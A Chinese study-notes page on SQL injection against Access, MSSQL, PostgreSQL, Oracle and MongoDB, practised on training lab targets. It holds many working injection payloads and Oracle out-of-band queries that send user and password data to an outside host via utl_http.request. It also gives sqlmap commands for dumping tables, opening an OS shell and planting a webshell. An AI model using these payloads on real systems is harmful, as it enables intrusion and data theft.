12 您所在的位置:网站首页 asp网页连接access数据库 12

12

2023-04-01 06:08| 来源: 网络整理| 查看: 265

WEB 漏洞-Oracle,MongoDB 等注入 数据库注入.png 一、简要学习各种数据库的注入特点

access,mysql, mssql , mongoDB,postgresql, sqlite,oracle,sybase等

1、access注入

sql的配置文件用户决定网站注入点用户权限。

Access数据库中存放 表名 列名 数据 //access 数据库都是存放在网站目录下, 数据库文件后缀格式为 mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,

access三大攻击手法

1.access注入攻击片段-联合查询法 2.access注入攻击片段-逐字猜解法 3.工具类的使用注入(推荐)

Access注入攻击方式

主要有:union 注入、http header 注入、偏移注入等

模拟案例:

墨者学院靶机

实训目标

1.掌握SQL注入原理; 2.了解手工注入的方法; 3.了解Access的数据结构; 4.了解字符串的MD5加解密;

解题方向

手工进行SQL注入测试,获取管理密码登录。 image-20230306154739724

1)判断数据库类型 借助工具 sqlmap sqlmap -u http://219.153.49.228:40088/new_list.asp?id=1

image-20230306162600877

2)判断字段 union order by 1,2,3,4 3)查询数据

靠猜,使用工具字典

union select 1,2,3,4 from admin

有admin这个表就会字段出现屏幕

image-20230306163114789

有这个表在猜列名‘

union select 1,username,3,4 from admin

image-20230306163335525

2、sql Server数据库

参考文档:https://www.cnblogs.com/xishaonian/p/6173644.html

判断数据库类型

img

判断数据库版本

img

MSSQL注入 ①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server) and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈 ②判断数据库版本 and 1=@@version--这个语句要在有回显的模式下才可以哦 and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常) ③获取所有数据库的个数 (一下3条语句可供选择使用) 1. and 1=(select quotename(count(name)) from master..sysdatabases)-- 2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) -- 3. and 1=(select str(coun、 and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)-- and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) -- 说明:dbid从1-4的数据库一般为系统数据库. ⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用) and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))-- ⑥获取当前数据库 and db_name()>0 and 1=(select db_name())-- ⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】 and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup ⑧获得表里的列 一次爆指定表的所有列(只限于mssql2005及以上版本): and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 效果图:既然有账户信息,我就不管是不是管理员的的了,我帖子的目的不是为了得到管理员的信息,只是为了演示可以通过这个方法来获取相关信息。 ⑨获取指定数据库中的表的列的数据库 逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本): and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))-- 一次性爆N条所有字段的数据(只限于mssql2005及以上版本): and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。 注意:在使用一次获取数据库信息的语句时,请使用火狐浏览器,笔者测试 IE8、360急速浏览器、猎豹浏览器均卡死,火狐浏览器也会导致出现几秒钟的卡死,弹出框框,我们点击“停止脚本”就会得到初步解决。!!!!!!!!!!!!!!!!!!!!至此,我们已经得到了账户信息了,至于管理员的呢,哈哈,大家自行测试时换表啥的就好了。 转载自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm

image-20230306170741142

3、postgresql注入

https://www.shuzhiduo.com/A/A7zgZ1QNd4/

一、postgresql简介

postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派。

二、postgresql的SQL注入:(注意注释符号–+)

1、简单的有回显的SQL注入不用多说,还是基本的SQL语句直接查询就可以了。

#简单的payload parameter = 2-1 parameter = 1 and 1 = 2 parameter = 1 or 1 = 2-1 parameter = 1' and '1'='1#and -> or parameter = 1' and '1'='2#and -> or

或者引号区分发(适用于字符串)

parameter = 1 #Success parameter = 1' #Failed parameter = 1'' #Success

2、一般的基于时间的盲注,可以参考下面的办法:

#postgresql 的几个简单判断payload: parameter=1;select pg_sleep(5) parameter=1';select pg_sleep(5) parameter=1');select pg_sleep(5) parameter=1);select pg_sleep(5) parameter=1));select pg_sleep(5) parameter=select pg_sleep(5)

盲注的逐位猜解

SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({current_user}),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+

3、常见的函数查看一些基本信息:

SELECT version() #查看版本信息 #查看用户 SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user;#这里是usename不是username SELECT getpgusername(); #查看当前数据库 SELECT current_database()

4、postgresql下的if

#mysql的 if(expr1,result1,result2); #如果expr1满足,result1,否则result2 #对于postgresql select case when(expr1) then result1 else result2 end; #举个例子 select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

5、其他

(1)读取文件:

select pg_read_file(filepath+filename);

(2)执行命令:

select system("comamnd_string");

(3)写入文件:

COPY (select '') to '/tmp/1.php'; 使用sqlmap注入

靶机: image-20230306172104094语法:

sqlmap -u http://ip/new_list.asp?id=1 -v 3

image-20230306172149075

获取表名:

sqlmap -u ip --tables

获取数据库:需要高权限

sqlmap -u ip --dbs

查看当前用户是不是管理员

会返回true或者fluse

sqlmap -u ip --is-dba -v 3 4、Oracle注入

参考文档:https://www.cnblogs.com/peterpan0707007/p/8242119.html

# [【实战】Oracle注入总结](https://www.cnblogs.com/peterpan0707007/p/8242119.html) **一、Union联合查询**   *order by 定字段   and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下   and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型     第一个字段是字符型,判断第二个字段类型:     and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型     第一个字段是数字型,判断第二个字段类型:     and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型   判断第n个字段的类型,依次类推即可   确定回显位,假设当前共2个字段,全是数字型,判断方式如下:   and 1=2 union select 1,2 from dual   假设回显位是2,爆当前数据库中的第一个表:   and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual   爆当前数据库中的第二个表:   and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual   以此类推去爆第n个表   爆某表中的第一个字段:   and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual   爆某表中的第二个字段:   and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual   爆其它字段以此类推   爆某表中的第一行数据:   and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串*   通过字段名找到对应表:   SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;   查询第N行:   SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)   当前用户:   SELECT user FROM dual;   列出所有用户:   SELECT username FROM all_users ORDER BY username;   列出数据库   SELECT DISTINCT owner FROM all_tables;   列出表名:   SELECT table_name FROM all_tables;   SELECT owner, table_name FROM all_tables;   列出字段名:   SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;   SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;   定位DB文件:   SELECT name FROM V$DATAFILE;

实例:

一、UNION联合查询型注入

1、判断注入点类型

img

img

img

注入点类型为单引号字符型

2、order by定字段

img

img

3、确定每个字段的类型

oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。

img

第一个字段为数字型

img

第二个字段为字符型

4、确定回显位

img

5、爆表

用户第一个表

img

img

或者

img

其它表使用相同方法即可爆出

6、爆字段

这里以我爆出的用户帐号表为例进行爆字段

img

爆第二个字段,方法和爆第二个表一样,加个删选条件就行了

img

其它的类似

7、爆值

oracle的字符连接用||符号,或者用concat,但是concat只能连接连个字符串(可以嵌套实现连接多个字符串),我这里用||符号连接输出的字符串。

img

二、布尔型盲注

(select length(table_name) from user_tables where rownum=1)>5

(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100

(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)

(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>10

三、Order by后注入** 判断很简单,字段个数超出就会报错,随便给个10000就OK了 也可以参考数字型的注入方式:利用算数表达式:1/0 报错 利用decode和ordsys.ord_dicom.getmappingxpath() decode(1,1,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#false decode(1,2,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#true 带外注入 utl_http.request('http://ceye.io/') **四、In查询后注入** *表示注入点 select * from user where DEPARTMENT in ('HR*','ADMIN'); 自然想到使用使用字符串拼接:|| '||case when ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1))>0 then '' else 'carrypan' end||' 实际测试会出现以下问题: 服务端获取参数值后会以逗号作为分隔符,而substr等语句就会因为单引号未正常闭合导致语句执行出错,就无法进行进一步判断了,经测试,可以采取以下方法: 报错注入 '||upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) ||' 带外请求 '||utl_http.request((select user from dual)||'.ceyey.io') ||' 注版本: utl_http.request('http://ceye.io/'||(select banner from sys.v_$version where rownum=1)) 判断包含密码字段的数据表的个数 utl_http.request('http://ceye.io/'||(select to_char(count(*)) from user_tab_columns where column_name like '%25PASSWORD%25')) 注包含密码字段的数据表 utl_http.request('http://ceye.io/'||(select table_name from user_tab_columns where column_name like '%25PASSWORD%25')) 如果多个,可以使用rownum判断 注数据表中字段 utl_http.request('http://ceye.io/'||(select column_name from user_tab_columns where table_name='USERS') where limit=§1§) 批量出数据 utl_http.request('http://ceye.io/'||(Select data from (selEct rownum as limit,(rownum||'_'||USER_NAME||'_'||PASSWORD) as data from USERS)where limit = §1§))

img

┌──(root💀kali)-[~/hackbar] └─# sqlmap -u http://219.153.49.228:41644/new_list.php?id=1 --batch Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2434=2434 Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=-4068 UNION ALL SELECT CHR(113)||CHR(118)||CHR(122)||CHR(112)||CHR(113)||CHR(88)||CHR(97)||CHR(102)||CHR(67)||CHR(117)||CHR(109)||CHR(97)||CHR(101)||CHR(110)||CHR(105)||CHR(85)||CHR(72)||CHR(117)||CHR(99)||CHR(88)||CHR(119)||CHR(73)||CHR(79)||CHR(85)||CHR(76)||CHR(89)||CHR(98)||CHR(106)||CHR(78)||CHR(114)||CHR(73)||CHR(81)||CHR(115)||CHR(109)||CHR(104)||CHR(109)||CHR(89)||CHR(98)||CHR(120)||CHR(89)||CHR(117)||CHR(103)||CHR(88)||CHR(75)||CHR(104)||CHR(113)||CHR(106)||CHR(106)||CHR(112)||CHR(113),NULL FROM DUAL-- DhFb --- [13:34:35] [INFO] testing Oracle [13:34:35] [INFO] confirming Oracle [13:34:35] [INFO] the back-end DBMS is Oracle back-end DBMS: Oracle [13:34:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/219.153.49.228' [13:34:35] [WARNING] your sqlmap version is outdated [*] ending @ 13:34:35 /2021-06-23/ 5、mongoDB注入

参考文档:https://www.cnblogs.com/wefeng/p/11503102.html

SQLmap不能识别MongoDB这里介绍nosqlattack:https://github.com/youngyangyang04/NoSQLAttack

┌──(root💀kali)-[~/hackbar] └─# sqlmap -u http://219.153.49.228:47077/new_list.php?id=1 --batch [13:53:16] [INFO] testing connection to the target URL [13:53:16] [INFO] testing if the target URL content is stable [13:53:16] [INFO] target URL content is stable [13:53:16] [INFO] testing if GET parameter 'id' is dynamic [13:53:16] [INFO] GET parameter 'id' appears to be dynamic [13:53:16] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable [13:53:16] [INFO] testing for SQL injection on GET parameter 'id' [13:53:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [13:53:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [13:53:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [13:53:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [13:53:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [13:53:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [13:53:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [13:53:18] [INFO] testing 'Generic inline queries' [13:53:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [13:53:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [13:53:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [13:53:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [13:53:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [13:53:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [13:53:19] [INFO] testing 'Oracle AND time-based blind' it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y [13:53:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [13:53:20] [WARNING] GET parameter 'id' does not seem to be injectable [13:53:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' [13:53:20] [WARNING] your sqlmap version is outdated

nosqlattack

三、简要学习各种注入工具的使用指南 1、jsql工具安装使用 ┌──(root💀kali)-[~/hackbar] └─# apt-get -f install jsql 正在读取软件包列表... 完成 正在分析软件包的依赖关系树 正在读取状态信息... 完成 下列【新】软件包将被安装: jsql 升级了 0 个软件包,新安装了 1 个软件包,要卸载 0 个软件包,有 1573 个软件包未被升级。 需要下载 2,500 B 的归档。 解压缩后会消耗 9,216 B 的额外空间。 获取:1 https://mirrors.aliyun.com/kali kali-rolling/main amd64 jsql all 0.82-0kali2 [2,500 B] 已下载 2,500 B,耗时 2秒 (1,099 B/s) 正在选中未选择的软件包 jsql。 (正在读取数据库 ... 系统当前共安装有 307905 个文件和目录。) 准备解压 .../jsql_0.82-0kali2_all.deb ... 正在解压 jsql (0.82-0kali2) ... 正在设置 jsql (0.82-0kali2) ...

启动直接数据jsql

img

img

对一些简单的注入有用对于post注入的效果不好

2.pangolin工具使用image.png

能够做一些简单的SQL注入、对于post注入效果也不是很好,另外执行的速度也很慢,只能在window平台使用。

熟悉工具的支持库,注入模式,优缺点等

sqlmap, NoSQLAttack , Pangolin等

相关资源

https://www.cnblogs.com/bmjoker/p/9326258.html https://github.com/youngyangyang04/NoSQLAttack https://github.com/sqlmapproject/sqlmap/zipball/master https:/blog.csdn.net/qq_39936434/category_9103379.html https://www.mozhe.cn/bug/WUJ30GVQSTlyeXdvbHU2ZmVOMjVDU7bW96aGUmozhe 3.NoSQLAttack

NoSQLAttack支持mongoDB的注入工具

NoSQLAttack工具在Github平台上托管,其地址为:https://github.com/youngyangyang04/NoSQLAttack

image-20230307135804933

1.使用前先要进行配置

选择2号选项设置iP ,端口等

image-20230307140456285

2.选择3号选项配置URL

image-20230307140729066

3.输入x ,选择4号选项,开始尝试注入

sqpmap详解 一 、-u

实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]

sqlmap -u url -u 指定目标URL (可以是http协议也可以是https协议)

sqlmap判断网站是否存在sql注入漏洞出现以下页面 就存在漏洞

testing connection to the target URL //测试到目标URL的连接,表示连接成功 it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 可能是mysql数据库,是不是还要测试别的数据库,请选择 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 存在漏洞,是否还要接着测试其他漏洞

img

二、–flush session

清除本机指定url测试缓存

sqlmap -u url --flush session 三、获取数据库系统的所有数据库名称(暴库)

枚举DBMS所有数据库: --dbs

SQLMap操作命令:

sqlmap -u http://192.168.31.128/sql/Less-2/?id=1 --dbs

执行结果:检测列出了Mysql数据库管理系统中的6个数据库

一、SQLMap拖库

SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列的功能。

测试的Payload共分为5级:

Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 属于最高级别, Payload很多。

1、当我们发现注入点的时候

sqlmap -u "http://192.168.72.148/security/read.php?id=1" 1

2、查看所有的数据库

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --dbs

3、查看当前使用的数据库

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --current-db

4、发现使用的是Learn数据库,接下来对数据库进行查询

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" -D "learn" --tables

5、查出所有表后,对user表的列名进行查询

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" -D "learn" -T "user" --columns

6、users表中的列名已经知道了,可以直接查出所有的数据

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" -D "learn" -T "user" -C "userid,username,password" --dump

完成拖库的操作后,可以在输出中查看到表的数据,也可以直接根据提示信息进入相应文件查看内容

7、直接指定数据库类型,节省时间

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql

8、判断是否为DBA

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --is-dba 二、POST和Cookie

1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --dbs

2、如果注入点不是GET,而是POST请求,则要添加POST正文

Ⅰ、先将POST请求在Burp中进行捕获,将请求内容保存到文件中

image-20220724111927075

Ⅱ、通常POST请求正文内容如下

POST /security/read.php?id=1 HTTP/1.1 Host: 192.168.72.148 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.72.148/security/read.php?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 45 Origin: http://192.168.72.148 Connection: close Cookie: PHPSESSID=srb89pb85tbjmbokmao4c7uih4 Upgrade-Insecure-Requests: 1 username=root&password=123456&vcode=42ic&id=1 123456789101112131415

Ⅲ、运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数,实现注入

sqlmap -r sqlmap.txt -p id --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbs 1

由于URL地址已经在sqlmap.txt的请求内容中,所以不需要指定-u参数。如果不通过-p指定id参数,则SQLMap会对所有的参数进行注入测试。如username=root&password=123456&vcode=42ic&id=1,此处四个参数都会被尝试。

三、OS-Shell 1、整个过程分为三个部分

Ⅰ、猜测网站绝对路径

Ⅱ、尝试写入木马

Ⅲ、获取到Shell命令行

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --os-shell 1 2、手工读写文件 # 读写远程服务器上的文件 sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --file-read # 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入 sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --file-write ./hack.php --file-dest /opt/lampp/htodcs/security/temp/hcak.php # 此时,也可以使用Python调用sqlmap的命令(os.popen("").read())进行盲猜,循环遍历目录字典文件。 sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --os-shell --batch #--batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适用于自动化 123456789


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有